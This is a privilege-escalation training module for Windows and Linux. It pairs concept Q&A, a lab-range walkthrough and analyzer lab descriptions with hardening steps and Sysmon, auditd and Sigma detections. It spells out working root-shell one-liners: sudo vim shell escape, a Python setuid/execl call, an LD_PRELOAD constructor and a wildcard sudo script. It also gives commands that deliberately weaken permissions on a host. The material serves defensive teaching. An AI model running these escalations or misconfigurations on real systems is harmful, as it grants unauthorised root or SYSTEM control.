When a thread opens an object (file, service, registry key), the kernel calls SeAccessCheck. It:
- Takes the thread's effective token (the impersonation token if present, else the process primary token).
- Walks the object's DACL in order: DENY ACEs before ALLOW ACEs.
- For each ACE, checks whether the ACE's SID matches any SID in the token (user SID or any enabled group SID).
- Accumulates allowed access bits; if all requested bits are satisfied before a DENY blocks them, access is granted.
A weak DACL on a service is one where a non-admin SID (Authenticated Users, Everyone, BUILTIN\Users) holds SERVICE_CHANGE_CONFIG or WRITE_DAC. The SCM's DACL check will grant write access to that principal, so they can reconfigure the service's ImagePath — running as SYSTEM when the SCM starts it.
Q2: Why is UAC not a security boundary? What does that mean for how you treat a "medium-integrity admin" host?
Answer:
Microsoft formally documented this in their security servicing criteria: UAC is not a security boundary. A security boundary is a line Microsoft commits to defend with a security update if it is bypassed. UAC does not meet that bar — UAC bypasses (auto-elevation of specially-signed executables, fodhelper.exe COM hijack, eventvwr.exe registry hijack, etc.) are not patched as security vulnerabilities by default.
What UAC actually is: a UX friction layer that separates an administrator's non-elevated token (Medium IL) from their elevated token (High IL). When a standard admin logs in, Windows creates two tokens: a filtered one (Medium IL, with administrative group SIDs marked deny-only) for the default desktop, and a full one (High IL) that is only activated when the user approves an elevation prompt. UAC is the prompt.
For the engagement this means: a medium-IL shell running as an admin-group member is one approved prompt (or one auto-elevation bypass) away from High IL, which is one more step from SYSTEM-level access. Do not treat "we only got a medium-IL shell" as a security control. If the user is in the Administrators group, they are effectively at High IL as soon as they interact with the elevation. On an engagement, document the admin account running medium-IL as a direct path to SYSTEM unless explicit protections (Standard User enforcement, no admin group membership) are in place.
Q3: Explain the SeImpersonatePrivilege "potato" family — what is the privilege, why do service accounts have it, what is the escalation, and how would you detect it?
Answer:
SeImpersonatePrivilege is a Windows privilege that grants the right to call ImpersonateNamedPipeClient, DuplicateTokenEx, and related APIs to assume the identity of another process's token — specifically, to impersonate a token that was handed to you, rather than one you obtained yourself.
Service accounts — IIS application pool identities, SQL Server service accounts, WCF service hosts — hold this privilege by design. Their legitimate use is operating on behalf of a connecting user: when an HTTP request arrives, the IIS worker process impersonates the authenticated user's token to perform file or database operations as that user. SeImpersonatePrivilege makes that impersonation legal.
The escalation class (potato family — concept only, no code): if you control a low-privileged process that holds SeImpersonatePrivilege (e.g., you exploited an IIS web app and got code in the app pool), you can:
- Coerce a SYSTEM-token-bearing Windows component (the Print Spooler (
SpoolSS), COM activation,RpcEptMapper) to authenticate to a locally-controlled named pipe or COM endpoint you set up. - The OS hands you that connection's token on the pipe.
- You call
ImpersonateNamedPipeClient— legal because you have the privilege — and your thread's impersonation token is now SYSTEM. - You call
CreateProcessWithTokenWto spawn a new process as SYSTEM.
The coercion mechanism varies per variant (PrintSpoofer exploits the Print Spooler's named-pipe protocol; JuicyPotato uses DCOM activation; RoguePotato uses an OXID resolver trick). The token-steal step is identical.
Detection:
- Security EID 4673 (Sensitive Privilege Use):
SeImpersonatePrivilegereferenced by an account that is not a recognized service account performing a recognized impersonation. - Security EID 4624 Logon Type 9: an impersonation logon from a service account creating a new logon session where the subject SID matches a SYSTEM identity.
- Sysmon EID 1:
cmd.exeorpowershell.exespawned with a parent image path in%SystemRoot%\System32\inetsrv\(IIS) or%SystemRoot%\System32\spoolsv.exe(spooler) — a service process spawning an interactive shell is anomalous. - Behavioral baseline: enumerate which processes legitimately use impersonation (IIS, COM+, SQL) and alert on any others calling the impersonation APIs.
Q4: What makes an unquoted service path exploitable, and what is the exact additional precondition?
Answer:
An unquoted service path is a Windows service whose ImagePath registry value contains spaces and no quotation marks — for example C:\Program Files\Acme Corp\Logger\logger.exe. When the SCM resolves this path, it tries each space-delimited prefix as a potential executable:
C:\Program.exeC:\Program Files\Acme.exeC:\Program Files\Acme Corp\Logger.exeC:\Program Files\Acme Corp\Logger\logger.exe
The exact additional precondition: a low-privileged user must be able to write a file at one of the higher-precedence paths (i.e., must be able to create C:\Program.exe or C:\Program Files\Acme.exe). The SCM runs the first match it finds; if the attacker can write the interceptor to a directory checked before the real binary, the service runs attacker code on the next start — as SYSTEM if the service runs as LocalSystem.
On a hardened system, C:\ and C:\Program Files\ are admin-owned with no world-write access. The unquoted path exists as a misconfiguration, but it is not exploitable without the writable directory. This is the most common reporting error: automated tools (WinPEAS, PowerUp) flag unquoted paths but do not always verify the writable-prefix precondition. Always check both.
Q5: On Linux, what is the difference between SUID and a file capability like cap_setuid? Why does a defender need to enumerate both?
Answer:
SUID (set-user-ID) is a mode bit on the file. When a process calls execve() on a file with the SUID bit set, the kernel reads the file's owner UID from the inode and sets the new process's effective UID to that owner UID. If root owns the file and it has SUID set, any user who executes it gets euid=0. It is a coarse mechanism: one bit, one owner, applies to everyone who can execute the file.
File capabilities (cap_setuid+ep, cap_dac_override+ep, …) are stored in the binary's security.capability extended attribute. They are a fine-grained alternative to SUID root — they grant specific named capabilities without granting euid=0 directly. However, cap_setuid specifically grants the right to call setuid(0) inside the process — which achieves euid=0 programmatically. A Python3 binary with cap_setuid+ep can run os.setuid(0); os.system('/bin/sh') and get a root shell. cap_setuid+ep is functionally equivalent to SUID root for any language with access to the setuid syscall.
A defender must enumerate both because:
find / -perm -4000lists SUID bits. It does not read extended attributes — it sees nothing about capabilities.getcap -r /readssecurity.capabilityxattrs. It does not look at file mode bits.
Neither tool covers the other. An audit that runs only one of them will miss one entire class of privilege-escalation path. The correct enumeration is both commands, every time.
Q6: Give me three ways a too-generous sudo rule becomes a root shell, and the auditd rule that catches each.
Answer:
1. GTFOBins binary with NOPASSWD (NOPASSWD: /usr/bin/vim)
Escalation concept: sudo vim opens vim as root. :!/bin/sh drops a root shell (via vim's shell-escape feature). The shell is a child of sudo-launched vim, running as root.
Detection: auditd captures execve of /usr/bin/vim by the user followed by a child execve of /bin/sh with euid=0, ruid=<user>:
-a always,exit -F arch=b64 -S execve -F euid=0 -F ruid!=0 -k suid_gtfobins
Post-process: image path matches a GTFOBins catalog. /var/log/auth.log also records the sudo invocation.
2. Wildcard in command path (NOPASSWD: /opt/scripts/*.sh)
Escalation concept: the user creates /opt/scripts/evil.sh containing #!/bin/bash\nbash -i and runs sudo /opt/scripts/evil.sh. The sudo policy matches *.sh — it permits this command. The shell runs as root.
Detection: sudo invocation in /var/log/auth.log where the COMMAND field matches the wildcard pattern and the actual script does not match an approved allowlist. Alert on any sudo invocation of a script path that did not exist at policy-review time (inode or modification-time anomaly).
3. env_keep += LD_PRELOAD (NOPASSWD: /usr/bin/less with Defaults env_keep += LD_PRELOAD)
Escalation concept: the user writes a shared library /tmp/evil.so whose constructor calls setuid(0); setgid(0); system("/bin/sh -p"). They run sudo LD_PRELOAD=/tmp/evil.so /usr/bin/less. The sudo invocation preserves LD_PRELOAD; the dynamic linker loads /tmp/evil.so before less initializes; the constructor runs as root.
Detection:
/var/log/auth.log:sudo … LD_PRELOAD=/tmp/evil.so /usr/bin/less— theLD_PRELOADvalue is logged.auditd: write syscall on/tmp/evil.so(openatwithO_WRONLY|O_CREAT) followed by asudoexec shortly after — temporal correlation.auditd:execveof the.sofile's path is not directly logged, but the child shell spawned witheuid=0is. Use theeuid=0, ruid!=0rule above.
Q7: You have a foothold as a low-priv user on a Windows host and a Linux host. Describe your enumeration order and what you are looking for on each, and the telemetry each step would emit.
Answer:
Windows enumeration order and telemetry:
-
Identity and token —
whoami /all/whoami /priv. Looking for any dangerous privilege (SeImpersonate,SeDebug,SeBackup,SeRestore,SeAssignPrimaryToken). Telemetry: none directly —whoamiis aconhost/cmdchild with no special API calls. But EDR sees the process launch (Sysmon EID 1). -
Services —
sc query,sc qc <name>for each running service;accesschk.exe -uwcqv "Users" *. Looking for unquoted paths with writable intermediate directories; writable service binaries; service DACLs granting non-adminSERVICE_CHANGE_CONFIG. Telemetry:sccallsOpenService→QueryServiceConfig(no security log);accesschkwalks the SCM DACL (no specific log but EDR/Sysmon may flag the tool by name). -
Registry autoruns —
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Looking for keys writable by non-admin SIDs. Telemetry: registry read events (Sysmon EID 12/13 if config captures reads, but most Sysmon configs only log writes; the read itself is usually invisible). -
Scheduled tasks —
schtasks /query /fo LIST /v. Looking for tasks running as SYSTEM with scripts writable by non-admin users. Telemetry:schtasksquery generates no security log; the task enumeration is via named-pipe calls to the Task Scheduler service (usually not logged at this fidelity without ETW). -
DLL paths —
echo %PATH%, thenicaclson each directory. Looking for user-writable directories on system-service PATH entries. Telemetry:icaclsspawns child processes (EID 1); the directory listing and ACL walk generate object-access events only if SACL is configured on those dirs.
Linux enumeration order and telemetry:
-
SUID binaries —
find / -perm -4000 2>/dev/null. Telemetry:findexecve(auditd), with ruid of the low-priv user. The syscalls areopenat+statxon every directory — detectable as a file-system sweep if auditd is configured to logopenatbroadly. -
Capabilities —
getcap -r / 2>/dev/null. Readssecurity.capabilityxattr viagetxattrsyscall. Telemetry:execveofgetcap, thengetxattron every file walked (high-volume, noisy, typically not individually logged). -
Sudo rules —
sudo -l. Telemetry:execveofsudo→ PAM authentication →/var/log/auth.logrecords the-linvocation. This is the most visible enumeration step — it is definitively logged. -
Cron —
cat /etc/crontab,ls /etc/cron.*,cat /var/spool/cron/crontabs/root. Telemetry:openaton cron files; if auditd is watching/etc/cron*with an-a always,exit -F path=/etc/crontab -F perm=rrule, the read is logged. -
Writable PATH —
echo $PATH, write test on each dir. Telemetry: write attempts on directories are logged by auditdopenatwithO_WRONLYif watched.
Q8: A SOC asks you to turn your privesc findings into durable detections. Pick two (one per OS) and write the detection logic and what it would false-positive on.
Answer:
Windows — SeImpersonatePrivilege token impersonation leading to an interactive shell (T1134.001)
Logic:
title: Service Process Spawning Interactive Shell
logsource: {product: windows, category: process_creation}
detection:
selection:
ParentImage|endswith: '\services.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
condition: selection
Also correlate with Security EID 4673 (privilege use) for SeImpersonatePrivilege where the subject's logon type is impersonation and the object does not match a known legitimate call site.
False positives: some legitimate services spawn cmd.exe as part of their normal operation (batch-mode setup, some monitoring tools, certain backup agents). The exclusion list should be built empirically from the specific environment. The rule fires on services.exe parentage directly — if a legitimate service routes through cmd.exe for a known reason, exclude by ParentCommandLine pattern or SourceImage of the grandparent service process.
Linux — Dangerous SUID execution (T1548.001)
Rule:
-a always,exit -F arch=b64 -S execve -F euid=0 -F ruid!=0 -k suid_exec
Plus a second rule watching setuid(0) calls:
-a always,exit -F arch=b64 -S setuid -F a0=0 -k setuid_root
Post-process both rules: compare the executed binary path against an allowlist of expected SUID binaries for this host (/usr/bin/sudo, /usr/bin/newgrp, /usr/bin/mount, /usr/bin/umount, /usr/bin/su, /bin/ping). Any execve with euid=0, ruid!=0 that fires a binary not in the allowlist is a high-severity alert.
False positives: legitimate SUID binaries not in the initial allowlist (site-specific tools like ssh-agent, crontab, at). Tune the allowlist from a clean baseline. The setuid(0) rule may also fire on PAM modules during authentication — exclude by the process context (parent = sshd, login, su).
References
Primary sources:
- Windows Internals, 7th Edition — Mark Russinovich, Andrea Allievi, Alex Ionescu, David Solomon. Parts 1 & 2: processes, threads, access tokens, SIDs, privileges, integrity levels, object manager, security descriptors, services.
- Microsoft Docs: Access Tokens (Win32), Privilege Constants, Mandatory Integrity Control, How UAC Works ("UAC is not a security boundary"), Service Security and Access Rights, Security Descriptors.
- MITRE ATT&CK: T1068, T1134.001/002, T1548.001/002/003, T1574.001/009/010, T1543.003, T1547.001, T1053.003/005.
- GTFOBins —
gtfobins.github.io: SUID / sudo / capabilities shell-escape catalog. - LOLBAS —
lolbas-project.github.io: Windows living-off-the-land binaries. - PrintSpoofer (itm4n write-up) and RoguePotato (splinter_code write-up):
SeImpersonatePrivilegeconcept + detection — read the technique description and detection section, not the exploit code. - Linux
capabilities(7)man page;sudoers(5)man page. - auditd documentation and
auditctl(8)man page. - Sysmon (Sysinternals): event reference; SwiftOnSecurity
sysmon-configand Olaf Hartongsysmon-modularfor production configs. - Sigma specification and rule repository (
github.com/SigmaHQ/sigma): Windows process-creation and registry-modification rule examples.
Tooling (enumerate only, on owned ranges):
- WinPEAS — Windows privilege-escalation enumeration; understand its output, not just run it.
- Seatbelt — C# host-survey tool used by defenders and red teamers; covers token privileges, services, tasks.
- LinPEAS — Linux privilege-escalation enumeration; cross-reference every flag against the concepts above.
- pspy — process monitor without root; reveals cron jobs and PATH-sensitive scripts on Linux.
- accesschk.exe (Sysinternals) — audits Windows DACLs on services, files, registry.
Hitchhiker's Guide — Enumerate, Find the Path, Harden It, Write the Detection
The operator/detection-engineer range walkthrough for Phase 04. You stand up an owned range, seed realistic misconfigurations, run the analyzer labs against synthetic snapshots of those misconfigs, walk the conceptual escalation path, then harden the misconfiguration and write the Sysmon/auditd detection rule. You are building the per-foothold finding that goes in the engagement report.
Safety (non-negotiable). Everything here runs on an isolated, owned range you built. The labs are analyzers over synthetic host facts — Python dicts that describe what enumeration tools would report on a seeded lab VM. There is no live exploitation, no service write, no token theft, no GTFOBins one-liner run against any process. The escalation steps are described conceptually so you can document the path and write the detection. Never run any of this on a host you do not own or have explicit written authorization to test.
Table of Contents
- 0. Authorize and scope
- 1. Build the range (Windows + Linux VMs)
- 2. Seed the misconfigurations
- 3. Enumerate and snapshot the host facts
- 4. Run the analyzer labs against the snapshot
- 5. Walk the conceptual escalation path
- 6. Harden the misconfiguration
- 7. Write the Sysmon / auditd detection and verify it fires
- 8. The evidence packet (your finding document)
- 9. Teardown and cost control
- Common false claims
0. Authorize and scope
Before anything boots, write the five facts in the range notebook:
- Owner: you. The range VMs are yours; no shared or corporate domain.
- Scope: the named lab VMs only, on an isolated vSwitch with deny-by-default egress.
- Methods: lab code (Python analyzers over synthetic dicts), concept-level escalation walk-through, hardening commands on your own VMs, Sysmon/auditd configuration changes. No live exploitation, no service modification on a host you do not own.
- Data: synthetic. No real credentials, PII, or production data in any fixture or screenshot.
- Stop conditions: any unexpected egress; any command that would write to, modify, or exploit a real service process; any command run against infrastructure you do not own → stop, snapshot, investigate.
1. Build the range (Windows + Linux VMs)
A minimal free range for both OS tracks:
isolated vSwitch (host-only, deny-by-default egress)
/ \
Windows 10/11 VM Ubuntu 22.04 (or CentOS) VM
- Sysmon installed, community config - auditd installed and enabled
- PowerShell 5.1 + WinPEAS + Seatbelt - LinPEAS + pspy
- Seeded misconfigs (§2) - Seeded misconfigs (§2)
- Windows Event Forwarding → SIEM - auditd log → SIEM / local /var/log/audit/audit.log
For the detection stack, Wazuh or Elastic (both free) can ingest both Windows event logs (via the agent or WEF) and Linux auditd logs (via the Wazuh agent or Filebeat). This lets you write Sigma rules and see them fire in a dashboard.
Snapshot every VM in a clean state before seeding. Each exercise starts from the snapshot; you seed, enumerate, document, harden, verify, then revert.
2. Seed the misconfigurations
These are realistic misconfigurations you deliberately introduce on your own VMs, one at a time. Introduce, snapshot, enumerate from that state, document the finding, harden, verify, revert. Do not leave multiple misconfigs active simultaneously — you need a clean single-variable experiment per finding.
Windows seeds (choose one per exercise session)
Seed A — Unquoted service path with writable intermediate dir.
On your lab Windows VM (elevated PowerShell):
# Create a fake service binary in a path with spaces
mkdir "C:\Program Files\Acme Logger"
copy C:\Windows\System32\cmd.exe "C:\Program Files\Acme Logger\logger.exe"
# Register service with unquoted path (the bug) — sc creates the registry entry
sc create AcmeLogger binPath= "C:\Program Files\Acme Logger\logger.exe" start= auto obj= LocalSystem
# Make C:\ writable by Users (the precondition — on a real host this would be a build artifact)
icacls C:\ /grant "BUILTIN\Users:(OI)(CI)(W)"
This seeds an unquoted service path (C:\Program Files\Acme Logger\logger.exe) where the SCM would try C:\Program.exe first, and where Users can write to C:\.
Seed B — Weak service DACL.
sc create WeakSvc binPath= "C:\Windows\System32\cmd.exe /k" start= auto obj= LocalSystem
# Grant SERVICE_CHANGE_CONFIG (0x0002) to Authenticated Users
sc sdset WeakSvc "D:(A;;RPWPRCWD;;;AU)(A;;CCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPWPDTLOCRSDRCWDWO;;;BA)"
Seed C — Dangerous privilege on a user account.
# Add SeImpersonatePrivilege to a test user via Local Security Policy (secpol.msc) or
# directly via ntrights.exe:
# ntrights.exe +r SeImpersonatePrivilege -u labuser
Linux seeds (choose one per exercise session)
Seed A — Dangerous SUID binary.
# On your lab Linux VM as root:
cp /usr/bin/python3 /usr/local/bin/python3-lab
chown root:root /usr/local/bin/python3-lab
chmod u+s /usr/local/bin/python3-lab # set SUID bit
Seed B — sudo NOPASSWD on GTFOBins binary.
# Add to /etc/sudoers.d/lab (as root):
echo "labuser ALL=(root) NOPASSWD: /usr/bin/vim" > /etc/sudoers.d/lab
chmod 440 /etc/sudoers.d/lab
Seed C — Dangerous capability.
# Grant cap_setuid to python3:
setcap cap_setuid+ep /usr/bin/python3
Seed D — Writable cron script.
# Create a root cron script world-writable (deliberate misconfig):
echo '#!/bin/bash\ndate >> /var/log/backup.log' > /etc/cron.daily/backup-lab.sh
chmod 777 /etc/cron.daily/backup-lab.sh
3. Enumerate and snapshot the host facts
After seeding, enumerate as the low-privileged lab user. Capture the output as the Python dict that feeds the lab analyzer.
Windows enumeration → snapshot dict
# As labuser (non-admin):
# Services:
sc query
sc qc AcmeLogger
icacls "C:\Program Files\Acme Logger\logger.exe"
# Privileges:
whoami /priv
# Registry autoruns:
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# Scheduled tasks:
schtasks /query /fo LIST /v
Translate the output into a Python dict matching Lab 01's host_facts schema. The dict represents "what WinPEAS/Seatbelt would report" — not what the actual binary state is, but a structural description of the misconfigurations.
host_facts = {
"services": [
{
"name": "AcmeLogger",
"image_path": "C:\\Program Files\\Acme Logger\\logger.exe",
"run_as": "LocalSystem",
"binary_writable_by": [],
"writable_intermediate_dirs": ["C:\\"],
"dacl": [],
}
],
"token_privileges": ["SeChangeNotifyPrivilege"], # no SeImpersonate yet
"autoruns": [],
"scheduled_tasks": [],
}
Linux enumeration → snapshot dict
# As labuser:
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
sudo -l
ls -la /etc/cron.daily/
cat /etc/crontab
echo $PATH
Translate into Lab 02's facts schema:
facts = {
"suid_files": [
{"path": "/usr/local/bin/python3-lab", "owner": "root"},
{"path": "/usr/bin/ping", "owner": "root"},
],
"capabilities": [],
"sudo_rules": [],
"writable_path_dirs": [],
"cron_files": [],
}
4. Run the analyzer labs against the snapshot
Feed the snapshot dict into the lab:
# From the repo root:
cd red-team-engineer/phase-04-os-internals-privesc/lab-01-windows-privesc-analyzer
LAB_MODULE=solution python3 -m pytest -q # verify reference passes
python3 -c "
import solution
import json
host_facts = {
'services': [
{
'name': 'AcmeLogger',
'image_path': 'C:\\\\Program Files\\\\Acme Logger\\\\logger.exe',
'run_as': 'LocalSystem',
'binary_writable_by': [],
'writable_intermediate_dirs': ['C:\\\\'],
'dacl': [],
}
],
'token_privileges': [],
'autoruns': [],
'scheduled_tasks': [],
}
findings = solution.analyze(host_facts)
for f in findings:
print(json.dumps(f, indent=2))
"
The analyzer should return a finding for the unquoted service path with:
technique:T1574.009path_to_system: a description of theC:\Program.exeinterception pathdetection: the Sysmon EID 1 rule / Security EID 7045 description
For Linux:
cd ../lab-02-linux-privesc-auditor
LAB_MODULE=solution python3 -m pytest -q
python3 -c "
import solution, json
facts = {
'suid_files': [{'path': '/usr/local/bin/python3-lab', 'owner': 'root'}],
'capabilities': [], 'sudo_rules': [], 'writable_path_dirs': [], 'cron_files': [],
}
for f in solution.audit(facts):
print(json.dumps(f, indent=2))
"
The auditor should return a finding for the dangerous SUID python3-lab with:
technique:T1548.001escalation_note: theos.execl('/bin/sh', 'sh', '-p')conceptdetection: the auditdexecve -F euid=0 -F ruid!=0rule
This lab output IS the finding. It is the machine-readable first draft that you will refine into the engagement report finding document.
5. Walk the conceptual escalation path
For each finding the analyzer returns, document the conceptual escalation path in the finding template. This is not running the exploit — it is describing the steps in enough detail that a remediation engineer can understand what needs to be fixed.
Windows — Unquoted service path (T1574.009) conceptual path:
1. Attacker has code execution as labuser (low-priv, standard user)
2. Identify: sc qc AcmeLogger → ImagePath = C:\Program Files\Acme Logger\logger.exe (unquoted)
3. Identify precondition: icacls C:\ → BUILTIN\Users:(W) — writable by low-priv user
4. Place: write an executable to C:\Program.exe (the higher-precedence prefix SCM will try first)
5. Trigger: next service start (sc start AcmeLogger, or system reboot)
6. Result: SCM resolves C:\Program.exe first, launches it as LocalSystem → attacker code runs as SYSTEM
Linux — Dangerous SUID (T1548.001) conceptual path:
1. Attacker has shell as labuser (non-root)
2. Identify: find / -perm -4000 → /usr/local/bin/python3-lab (SUID, owned by root)
3. Cross-reference: GTFOBins confirms python3 with SUID → os.execl('/bin/sh','sh','-p') gives root shell
4. Execute: python3-lab -c "import os; os.execl('/bin/sh', 'sh', '-p')"
5. Result: execve sets euid=0 (SUID bit), os.execl launches /bin/sh with -p (preserve euid) → shell runs as root
Write this in the finding.md template from red-team-engineer/templates/finding.md, filling in the ATT&CK mapping, precondition, narrative, and detection opportunity fields.
6. Harden the misconfiguration
Hardening is the remediation column in the finding. On your range VM, implement it and verify the path no longer works conceptually.
Windows hardening
Fix for unquoted service path:
# Quote the ImagePath:
sc config AcmeLogger binPath= '"C:\Program Files\Acme Logger\logger.exe"'
sc qc AcmeLogger # verify the path is now quoted
# Remove the writable precondition:
icacls C:\ /remove "BUILTIN\Users" /T
# Verify:
icacls C:\
Fix for weak service DACL:
# Remove SERVICE_CHANGE_CONFIG from Authenticated Users — reset to safe default
sc sdset WeakSvc "D:(A;;CCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPWPDTLOCRSDRCWDWO;;;BA)"
Fix for dangerous privilege on user:
# Local Security Policy → User Rights Assignment → remove SeImpersonatePrivilege from the test user
# or via secedit, or remove the user from any group that grants the right
Linux hardening
Remove SUID bit:
chmod u-s /usr/local/bin/python3-lab
ls -la /usr/local/bin/python3-lab # verify: -rwxr-xr-x (no s)
Remove dangerous capability:
setcap -r /usr/bin/python3
getcap /usr/bin/python3 # should return empty
Fix sudo misconfig:
# Remove the overly permissive rule:
rm /etc/sudoers.d/lab
# Verify:
sudo -l # should no longer list vim
Fix writable cron script:
chmod 755 /etc/cron.daily/backup-lab.sh
chown root:root /etc/cron.daily/backup-lab.sh
ls -la /etc/cron.daily/backup-lab.sh # verify
7. Write the Sysmon / auditd detection and verify it fires
Windows — Sysmon rule for services spawning shells (covers token impersonation + service hijack)
Add to your Sysmon config XML:
<RuleGroup name="privesc-service-shell" groupRelation="or">
<ProcessCreate onmatch="include">
<!-- Service process (services.exe parent) spawning an interactive shell -->
<ParentImage condition="image">services.exe</ParentImage>
<Image condition="image">cmd.exe</Image>
</ProcessCreate>
<ProcessCreate onmatch="include">
<ParentImage condition="image">services.exe</ParentImage>
<Image condition="image">powershell.exe</Image>
</ProcessCreate>
</RuleGroup>
Reload Sysmon: Sysmon.exe -c sysmonconfig.xml
Sigma rule (for SIEM ingestion):
title: Service Spawning Interactive Shell — Privilege Escalation
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: >
The Service Control Manager process (services.exe) spawned an interactive shell.
Consistent with token impersonation (potato family), service binary replacement,
or scheduled-task misuse. Legitimate services do not spawn cmd.exe or powershell.exe.
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\services.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
condition: selection
falsepositives:
- Some MSI-based service installers briefly spawn cmd.exe during install; tune by Image path
and CommandLine pattern.
level: high
tags:
- attack.privilege_escalation
- attack.t1134.001
- attack.t1543.003
Verify on range: On the Windows VM (clean snapshot + Sysmon config loaded), open an elevated command prompt and run sc start <any service>. Then simulate the suspicious parent relationship by running a test:
# Benign simulation: not actual exploitation — just verify the rule structure by
# checking that a cmd.exe spawned from services.exe context would appear in the log.
# The actual verification is through a process injection simulator or Atomic Red Team test T1134.
Check the Sysmon operational log (Event Viewer → Applications and Services → Microsoft-Windows-Sysmon/Operational → filter EID 1) for the ParentImage/Image combination.
Linux — auditd rules for SUID execution and setuid(0)
Add to /etc/audit/rules.d/privesc.rules:
# SUID execution: euid=0 by a non-root ruid
-a always,exit -F arch=b64 -S execve -F euid=0 -F ruid!=0 -k suid_exec
# Capability-based root: setuid(0) called by any process
-a always,exit -F arch=b64 -S setuid -F a0=0 -k setuid_root
# Write to cron files by non-root:
-a always,exit -F arch=b64 -S openat -F path=/etc/cron.daily -F perm=w -F auid!=0 -k cron_write
-a always,exit -F arch=b64 -S openat -F path=/etc/crontab -F perm=w -F auid!=0 -k cron_write
# sudo invocations (also in auth.log, but auditd covers no-PAM paths):
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_exec
Reload: augenrules --load or service auditd restart.
Verify: On your lab Linux VM (with the python3-lab SUID seed still present):
# As labuser — executing the SUID binary should fire the suid_exec rule:
/usr/local/bin/python3-lab -c "exit(0)" # benign, just launches the SUID binary
# Check the audit log:
ausearch -k suid_exec | grep python3-lab
You should see an audit record with euid=0 ruid=<labuser-uid> and the suid_exec key. This confirms the rule fires on a SUID execution, even without the escalation step.
After hardening (chmod u-s), re-run the same command — the audit record should now show euid=<labuser-uid> ruid=<labuser-uid> (no longer euid=0), confirming the control is effective.
8. The evidence packet (your finding document)
For each misconfiguration, collect and hash (in the range, never published raw):
- The enumeration output that discovered the misconfiguration (raw tool output, sanitized).
- The Lab 01 / Lab 02 analyzer output — the finding with ATT&CK ID, path-to-SYSTEM/root, and detection description.
- The conceptual escalation path (§5 format).
- The hardening action taken and its verification output.
- The Sysmon/auditd rule written.
- The verification screenshot: the audit rule firing on the benign SUID execution / Sysmon EID 1 on the simulated parent-child relationship.
- A one-paragraph narrative: the misconfiguration, the privilege it provides, the telemetry footprint, the hardening, and the detection — observation separated from inference.
This is the Phase 04 portfolio artifact and the input to the Cedar Lattice finding report (templates/finding.md).
9. Teardown and cost control
- Revert every VM to the pre-seed clean snapshot. Misconfigurations should not persist between exercises — each session starts from the clean baseline.
- Remove any seeds you applied manually if you did not revert (remove the test service, restore file permissions, remove the sudo rule, remove capability).
- If the range is cloud-based: destroy the VMs after the session and confirm billing returns to baseline. Set a budget cap before first boot (Phase 00 rule).
- Purge raw logs and enumeration output that are not part of the evidence packet.
- Confirm no egress occurred to any non-lab network during the session.
Common false claims
"I escalated to SYSTEM." On this range you ran a Python analyzer over a synthetic host-facts dict and documented the conceptual path. The honest claim: "I identified a misconfiguration, classified it with the correct ATT&CK technique, documented the path to SYSTEM, implemented the hardening, and wrote the detection that catches it." That is what the engagement report says.
"The misconfiguration is just an unquoted path — the risk is low." An unquoted path with a writable intermediate directory is an unconditional code-as-SYSTEM path. Risk is not in the trivia of a missing quote mark; it is in the write-access precondition. Always verify the precondition before classifying severity.
"The detection I wrote is complete." A detection written on paper is a hypothesis. On this range you verified it fires on a benign execution that triggers the same observable footprint. That is necessary. It is not sufficient: in production you also need FP tuning, a documented allowlist, ownership assignment, and a regression test. Note what additional work remains.
"Hardening means removing the SUID bit from all system binaries." Remove only the binaries that are misconfigured — non-standard additions or standard binaries that do not need the bit for their function. Mass removal of SUID bits breaks legitimate system operations (sudo, mount, su, newgrp). Targeted hardening is the deliverable.
"Linux capabilities are an advanced, rare finding." getcap -r / on a typical Ubuntu 22.04 install returns several binaries with capabilities (ping has cap_net_raw, python3 may have capabilities from a careless install). If your enumeration does not include getcap, you will miss this entire class.
Lab 01 — Windows Local Privilege-Escalation Analyzer
Operation Cedar Lattice, Phase 04. You have your first foothold on a Meridian Freight Windows
host as a low-integrity service or standard user. The question every operator asks next is: what on
this box turns "a user" into NT AUTHORITY\SYSTEM? This lab is the analyzer that answers it from a
synthetic host-enumeration snapshot — the same facts WinPEAS/Seatbelt surface — and, for every
finding, names the ATT&CK technique, the path to SYSTEM, and the detection that catches it.
Safety. Authorized-lab only. This is an auditor over host metadata: it reasons about enumeration output (
HostFacts), never a live host. There is no exploitation, no service write, no DLL drop, no token theft. Every finding ends in its detection. Same boundary as the security track'soffensive-methodology-mastery/labs.
The problem
Windows privilege escalation is rarely a memory-corruption exploit; far more often it is a misconfiguration that lets a low-privileged principal influence something a SYSTEM-level component trusts: a service binary it launches, a service it can reconfigure, a token privilege it foolishly granted, an autorun key it reads at admin logon, or a scheduled task it runs as SYSTEM. The skill is to read a host snapshot and see the paths, not the individual facts.
What you build (lab.py)
analyze(host_facts) -> [findings], composed from focused helpers:
unquoted_path_issue(svc)— an unquotedImagePathwith a space and a writable intermediate directory (the SCM resolves prefixes; an interceptor at a higher-precedence prefix runs as the service account). T1574.009.writable_service(svc)— a service whose on-disk binary is writable (T1574.010) or whose service DACL grants a low-priv principalSERVICE_CHANGE_CONFIG/WRITE_DAC/… so they can reconfigurebinPath(T1543.003).dangerous_privileges(facts)— token privileges that are a known primitive:SeImpersonate/SeAssignPrimaryToken(the potato family, T1134.001/.002),SeDebug,SeBackup/SeRestore,SeTakeOwnership,SeLoadDriver.writable_autorun(reg)— aRun/RunOncevalue a low-priv user can rewrite (T1547.001); HKLM is high (runs privileged at logon), HKCU is lower.writable_scheduled_task(task)— a task whose action target is user-writable, run as SYSTEM (T1053.005).
Each Finding carries technique, path_to_system, detection, plus runs_as and severity.
Attack cases the tests cover
- Unquoted service path with a writable intermediate dir → hijack as LocalSystem; quoted paths and paths with no writable dir are clean.
- Writable service binary, and a weak service DACL (only when the held right is actually dangerous).
SeImpersonatePrivilegeheld at Medium integrity → potato-class path to SYSTEM; skipped when the process is already at System integrity (nothing to escalate to).- Weak HKLM autorun ACL (high) vs HKCU (medium); writable SYSTEM scheduled task.
